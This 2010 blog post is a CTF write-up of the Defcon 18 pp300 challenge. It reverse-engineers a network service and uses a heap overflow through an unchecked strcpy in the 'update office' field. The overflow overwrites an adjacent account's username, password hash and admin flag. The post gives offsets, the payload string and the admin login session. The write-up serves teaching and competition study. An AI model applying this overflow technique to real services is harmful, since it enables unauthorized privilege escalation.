Tuesday, May 25, 2010

Defcon 18 CTF qualifiers: pp300

Let's solve this challenge!!. After downloading the file, we check the file format:

defcon@bs:/defcon/pwtent$ file pp300_6fa2f9a0d6617d2e3.bin
pp300_6fa2f9a0d6617d2e3.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.18, dynamically linked (uses shared libs), stripped

And we tried to execute on our VM, but we'll need to setup properly the system:
defcon@bs:/defcon/pwtent$ ./pp300_6fa2f9a0d6617d2e3.bin
pp300_6fa2f9a0d6617d2e3.bin: Failed to find user fcfl
: Success

defcon@bs:/defcon/pwtent$ sudo useradd -m fcfl

fcfl@bs:/home$ ncat 5555
attempted /home/fcfl/user.db.
can't read user db, quitting

fcfl@bs:~$ ./pp300_6fa2f9a0d6617d2e3.bin

fcfl@bs:/home$ ncat 5555

fantasy chicken farmin league
 c) create account
 l) login
 q) quit

Just note that for every request, the server create a new process to attend this connection:

fcfl@bs:~$ ps auxww | grep pp300
fcfl      9745  0.0  0.1   1996   608 pts/0    S    11:22   0:00 ./pp300_6fa2f9a0d6617d2e3.bin
fcfl      9747  0.0  0.0   1996   344 pts/0    S    11:22   0:00 ./pp300_6fa2f9a0d6617d2e3.bin

Let's examine the file :):
After dissasembling the file, we can find the main initialization code (0x08048d34):

For every new client, the server forks a process, that execute the code labelled "interactWithClient" (0x0804C18B):

As it can be observed on the "Graph overview", the structure of this function is very similar to a switch code, so basically this code interacts with the client and makes the appropiate calls depending of the user input.

If we look closer on this function, we can find an interesting piece of code (0x0804C509)

On the previous code, if the user enter the command "6" and if he's an admin (and has logged), the server will print the key stored on "/home/fcfl/key".

So, we need to find when this variable is set. Looking around, we'll find the following piece of code, located on the logging functionality (0x0804A8A1)

The code looks for the user structure (offset 0x38h) and test if this variable has a value greater than 0x000001f3h. If this condition is meet, the user will be logged with administrative privileges.

So, now we have a (limited) understanding on what we need to do: we need to find some way to alter this structure. As all the user information is read from the database file ("/home/fcfl/user.db") and stored on memory, we'll face with a heap overflow.     

If we search for some "weak security" functions, we'll find an insecure strcpy on the code that manages the update user info (0x0804B148). This code is triggered if the user presses the "u" key.

.text:0804B2DF                 mov     dword ptr [esp+4], offset aWouldYouLike_4 ; "would you like to change office #(%s) ["...
.text:0804B2E7                 mov     eax, [ebp+fd]
.text:0804B2EA                 mov     [esp], eax      ; fd
.text:0804B2ED                 call    writeLine
.text:0804B2F2                 mov     eax, [ebp+nptr]
.text:0804B2F5                 mov     [esp+4], eax    ; int
.text:0804B2F9                 mov     eax, [ebp+fd]
.text:0804B2FC                 mov     [esp], eax      ; fd
.text:0804B2FF                 call    yesOrNo?
.text:0804B304                 cmp     al, 79h
.text:0804B306                 jnz     short loc_804B360
.text:0804B308                 mov     dword ptr [esp+4], offset aEnterNewOffice ; "enter new office: "
.text:0804B310                 mov     eax, [ebp+fd]
.text:0804B313                 mov     [esp], eax      ; fd
.text:0804B316                 call    writeLine
.text:0804B31B                 mov     dword ptr [esp+0Ch], 0Ah ; int
.text:0804B323                 mov     dword ptr [esp+8], 257h ; char
.text:0804B32B                 mov     eax, [ebp+nptr]
.text:0804B32E                 mov     [esp+4], eax    ; int
.text:0804B332                 mov     eax, [ebp+fd]
.text:0804B335                 mov     [esp], eax      ; fd
.text:0804B338                 call    readLine
.text:0804B33D                 mov     [ebp+var_18], eax
.text:0804B340                 mov     eax, [ebp+var_18]
.text:0804B343                 add     eax, [ebp+nptr]
.text:0804B346                 mov     byte ptr [eax], 0
.text:0804B349                 mov     edx, [ebp+nptr]
.text:0804B34C                 mov     eax, [ebp+dest]
.text:0804B34F                 add     eax, 86h
.text:0804B354                 mov     [esp+4], edx    ; src
.text:0804B358                 mov     [esp], eax      ; dest
.text:0804B35B                 call    _strcpy        <============== HERE

Then, if we put too much data on the "update office", we'll overflow the heap.

  fcfl@bs:/home$ ncat 5555
  menu    (a1)
   L) logout
   b) buy chickens
   i) incinerate money
   s) sell eggs
   p) display my info
   u) update my info
   q) quit
  1: u
  would you like to change username (a1) [y/n]: n
  would you like to change user info () [y/n]: n
  would you like to change office #() [y/n]: y
  would you like to change password [y/n]: [y/n][y/n][y/n]n
  would you like to change uid(0) [y/n]: n
  would you like to change you egg count(0) [y/n]: n

Done!!, seems that the overflow worked. If we attach a debugger to the fork'd process we can see that we overwrite too much data, causing a libc error, as we have corrupted the memory.

  fcfl@bs:~$ ps auxww | grep pp300
  fcfl      9745  0.0  0.1   1996   608 pts/0    S    11:22   0:00 ./pp300_6fa2f9a0d6617d2e3.bin
  fcfl      9763  0.0  0.0   1996   340 pts/0    S    12:29   0:00 ./pp300_6fa2f9a0d6617d2e3.bin
  fcfl@bs:~$ gdb program 9763
  GNU gdb 6.8-debian
  Copyright (C) 2008 Free Software Foundation, Inc.
  License GPLv3+: GNU GPL version 3 or later
  This is free software: you are free to change and redistribute it.
  There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
  and "show warranty" for details.
  This GDB was configured as "i486-linux-gnu"...
  program: No such file or directory.
  Attaching to process 9763
  0xffffe424 in __kernel_vsyscall ()
  (gdb) c
  *** glibc detected *** ./pp300_6fa2f9a0d6617d2e3.bin: realloc(): invalid next size: 0x0868fd20 ***
  (no debugging symbols found)
  ======= Backtrace: =========
  ======= Memory map: ========
  Program received signal SIGABRT, Aborted.
  0xffffe424 in __kernel_vsyscall ()
  (gdb) c
  Program terminated with signal SIGABRT, Aborted.
  The program no longer exists.
  The program is not being run.

Now we can overflow the user structure that is stored on memory, and maybe we'll be able to alter the variable isAdmin. As we need more info, I looked around the code to infer the data structure that stores all the user info.

Looking at 0x0804B148 (f_update_User_Info), 0x0804A6C0 (printUserInfo) and 0x0804B9E6 (createUser) we can enumerate all the fields of the structure.
  sizeof(USER STRUCT) == 9Ch
  username    0x00    
  password    0x14    
  ??          0x35
  isAdmin     0x38    <====
  chickens    0x3c
  monies      0x40
  eggs        0x44
  uid         0x48   
  *next        0x4c
  *prev        0x50
  info        0x54    
  office      0x86    

So, we cannot modify the user field isAdmin, because the direction of the overflow is only made from lower to higher memory addresses.

This "problem" can be solved creating other accounts, expecting to find 2 accounts stored in consecutive memory addresses. The users are stored on memory using a double linked list (pointers *prev and *next)

Under these premises when we modified the first account, we'll overflow the data stored on the second account :).

So, on our test machine, we have created 2 accounts, and with the second account we'll be able to obtain the following info, using the command "p" (print user info).
  1: p          (account #2)
    chickens: 0
    eggs:     0
    monies:   1000
    id:       0
    username: a2
    password: be735284c5f497986e4c954fdf370286
    perm:     1
    next:     868fa30       <= account #1
    prev:     868f7e0       

With this info we obtain:
  •   Memory gap: 0x868fb28-0x868fa30-0x9c= 0xf8-0x9c=0x5c
  •   Size of field 'office': 0x9c (size struct)-0x86 (offset field 'office')=0x16
  •   len(Nops)=0x5c+0x16=0x72
  •   Bytes until account 2 field 'isAdmin': 0x38 (must include username+encrypted key)
  •   Bytes to overwrite (field 'isAdmin'): 2 bytes (value greater than 0x1f3h)
  •   Total size= NOPs (0x72)+payload (0x3a)) == 0xAC== 172 bytes

So in order to exploit the server, we'll create a payload that will contain a valid USERNAME and a valid PASSWORD, that we'll give access to an Administrative account :).
  •  We'll overwrite the username struct:username field (0x14 len) with random data, for example,
      username: AAAAAAAAAAAAAAAA0000
  •  The password field with a blank password (be735284c5f497986e4c954fdf370286)
  •  And finally, we'll overwrite the 'isAdmin' field with a value greater that 0x1f3h (i.e. "00"==0x3030) So, finally the payload is   "AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf37028600"
As it can be observed on the login function(0x0804A8B9), the username is tested against the user stored on the database with strcmp, so after overflow the memory, the username with the admin rights will have a name equal to the payload.


On my test machine it worked properly (create 2 accounts with blank passwords and then inject the data on the first user). But on the online system I spent some time creating users until I found 2 users which its info were stored on consecutive memory address (with distance 0xf8).


      menu    (a)
     L) logout
     b) buy chickens
     i) incinerate money
     s) sell eggs
     p) display my info
     u) update my info
     q) quit
    1: u
    would you like to change username (a) [y/n]: n
    would you like to change user info () [y/n]: n
    would you like to change office #() [y/n]: y
    would you like to change password [y/n]: n
    finished updates
    menu    (a)
     L) logout
     b) buy chickens
     i) incinerate money
     s) sell eggs
     p) display my info
     u) update my info
     q) quit
    1: L
     c) create account
     l) login
     q) quit
    1: l
    enter username: AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000
    enter password:
    logged in!

    menu    (AAAAAAAAAAAAAAAA0000)
     L) logout
     b) buy chickens
     i) incinerate money
     s) sell eggs
     p) display my info
     u) update my info
     P) print userlist
     q) quit
    1: 6
So, the key is "funkymonkeyfartsaregolden". pp300 solved :)

Btw, I've created a PoC python script that automates the attack on a local machine (download).

My First Entry!

Hi all.

Finally I've decided to share which the rest of the world my (little) knowledge about security, my thoughts and security paranoia’s ;p.